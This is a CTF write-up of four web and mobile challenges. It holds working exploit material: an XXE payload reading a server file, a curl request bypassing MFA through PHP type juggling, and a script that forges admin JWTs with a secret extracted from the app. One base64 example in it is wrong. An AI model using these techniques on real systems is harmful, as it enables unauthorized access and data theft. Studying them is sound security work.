CTF Write-up Web Security Mobile Security

CTF Hiring CTF - Round 1: Breaking Authentication, Parsing, and Mobile Security

Abishek Kumar November 2025 15 min read

Introduction

Welcome to my comprehensive write-up of the CloudSek Hiring CTF 2025 - Round 1. This challenge series presented four distinct security scenarios that mirror real-world vulnerabilities found in modern web applications and mobile platforms.


Throughout this report, I'll demonstrate how seemingly small misconfigurations and overlooked security principles can lead to complete system compromise. Each challenge taught valuable lessons about:

  • Speed-based automation attacks
  • XML parsing vulnerabilities
  • Type confusion in authentication systems
  • Mobile application reverse engineering

💡 Key Takeaway

All activities described in this write-up were conducted in a controlled CTF environment with proper authorization. Never attempt to exploit vulnerabilities in systems you don't own or have explicit permission to test.


Challenge 1: NITRO - The Speed Demon

The Challenge

NITRO was a race against time. The server provided random strings and demanded transformed responses within a razor-thin time window of approximately 150 milliseconds. Any slower and you'd get the dreaded "Too slow" message.

Understanding the Transformation

The challenge required a specific transformation pipeline:

Step 1: Fetch       → AbC123xyz
Step 2: Reverse     → zyx321CbA  
Step 3: Base64      → enl4MzIxQ2JBA==
Step 4: Wrap        → CSK__enl4MzIxQ2JBA==__2025
Step 5: Submit      → (within 150ms)

The Solution Script

Manual interaction was impossible. I needed automation that could execute the entire pipeline in under 150 milliseconds:

import requests
import base64
import time

def solve_nitro():
    base_url = "http://target-server.com"
    
    while True:
        try:
            start_time = time.time()
            
            # Fetch the random string
            task_response = requests.get(f"{base_url}/task", timeout=5)
            random_string = task_response.text.strip()
            
            # Transform: Reverse → Base64 → Wrap
            reversed_string = random_string[::-1]
            encoded = base64.b64encode(reversed_string.encode()).decode()
            payload = f"CSK__{encoded}__2025"
            
            # Submit immediately
            submit_response = requests.post(
                f"{base_url}/submit",
                data={"answer": payload},
                timeout=5
            )
            
            elapsed = (time.time() - start_time) * 1000
            print(f"[+] Submitted in {elapsed:.2f}ms")
            
            if "flag" in submit_response.text.lower():
                print(f"\n[!] FLAG FOUND: {submit_response.text}")
                break
                
        except Exception as e:
            print(f"[-] Error: {e}")
            time.sleep(1)

✅ Key Takeaways

  • Time-based challenges require automation - human reaction time is insufficient
  • Network latency matters - every millisecond counts
  • Script optimization is crucial for success

Challenge 2: BAD FEEDBACK - XXE in the Wild

Understanding XXE

XML External Entity (XXE) injection is a vulnerability that allows attackers to:

  • Read arbitrary files from the server's filesystem
  • Perform SSRF attacks to internal services
  • Execute denial-of-service attacks
  • Exfiltrate data through out-of-band channels

The Exploit Payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY x SYSTEM "file:///flag.txt">
]>
<feedback>
  <message>&x;</message>
</feedback>

How this works:

  1. <!DOCTYPE foo [...]> - Declares a custom document type definition
  2. <!ENTITY x SYSTEM "file:///flag.txt"> - Creates an external entity pointing to the flag file
  3. <message>&x;</message> - References the entity, forcing the parser to read and expand the file contents
  4. The server returns the file contents in its response

⚠️ Prevention

Always disable external entity processing in XML parsers. Use secure parser configurations and consider using JSON instead, which doesn't suffer from entity expansion issues.


Challenge 3: Triangle - Type Juggling Breaks MFA

The Fatal Flaw

Examining the OTP verification function revealed a critical vulnerability:

function verify_key($secret, $key) {
    // CRITICAL VULNERABILITY
    if (!is_string($key)) {
        return true;  // Auto-accept non-strings!
    }
    
    // Normal TOTP validation
    $google2fa = new Google2FA();
    return $google2fa->verifyKey($secret, $key);
}

Understanding the Vulnerability

This is a textbook example of type confusion in PHP:

Vulnerable Flow

$otp = true;  // Boolean
is_string($otp)  // FALSE  
verify_key()  // Returns TRUE!

Intended Flow

$otp = "123456";  // String
is_string($otp)  // TRUE
verify_key()  // TOTP validation

The Exploit

curl -X POST http://15.206.47.5:8080/login \
  -H "Content-Type: application/json" \
  -d '{
    "username": "admin",
    "password": "admin123",
    "otp1": true,
    "otp2": true,
    "otp3": true
  }'

Result: Complete MFA bypass achieved without generating a single valid OTP!


Challenge 4: Strike Bank - Mobile Security Nightmare

Deep Dive: strings.xml Analysis

The file resources/res/values/strings.xml contained sensitive information:

Line Key Severity
33 base_url High
91 encoded_jwt_secret Critical
105-106 credentials High

Decoding the JWT Secret

$ echo "c3RyIWszYjRua0AxMDA5JXN1cDNyIXMzY3IzNw==" | base64 -d
str!k3b4nk@1009%sup3r!s3cr3t

This is the master signing key for all JWT tokens in the application.

Crafting the Exploit

import jwt
import time

# The extracted secret
secret = "str!k3b4nk@1009%sup3r!s3cr3t"

# Forge an admin token
payload = {
    "username": "admin",
    "role": "admin",
    "exp": int(time.time()) + 3600
}

# Sign with HS256 algorithm
token = jwt.encode(payload, secret, algorithm="HS256")
print(f"Forged JWT: {token}")

🚨 Impact Assessment

  • Complete authentication bypass - No valid credentials needed
  • Privilege escalation - Instant admin access
  • Session hijacking - Can impersonate any user
  • Data breach - Full access to internal systems

Flag captured:

ClOuDsEk_ReSeArCH_tEaM_CTF_2025{ccf62117a030691b1ac7013fca4fb685}


Conclusion: Lessons from the Trenches

These four challenges from CloudSek Research Team CTF 2025 provided invaluable insights into real-world vulnerabilities that continue to plague modern applications.

Summary of Vulnerabilities

Challenge Vulnerability Impact
NITRO Timing/Automation Medium
BAD FEEDBACK XXE Injection Critical
Triangle Type Confusion Critical
Strike Bank Hardcoded Secrets Critical

Universal Security Principles

  1. Validate Everything - Never trust input, regardless of source
  2. Fail Securely - When validation fails, reject access
  3. Defense in Depth - Multiple layers of security provide resilience
  4. Principle of Least Privilege - Grant minimal permissions necessary
  5. Security by Design - Consider security from the initial design phase

💭 Remember

A chain is only as strong as its weakest link. Security through obscurity is not security. The best time to fix security issues was at design time; the second-best time is now.

AK
Abishek Kumar

Abishek Kumar

Cybersecurity Researcher | Full-Stack Developer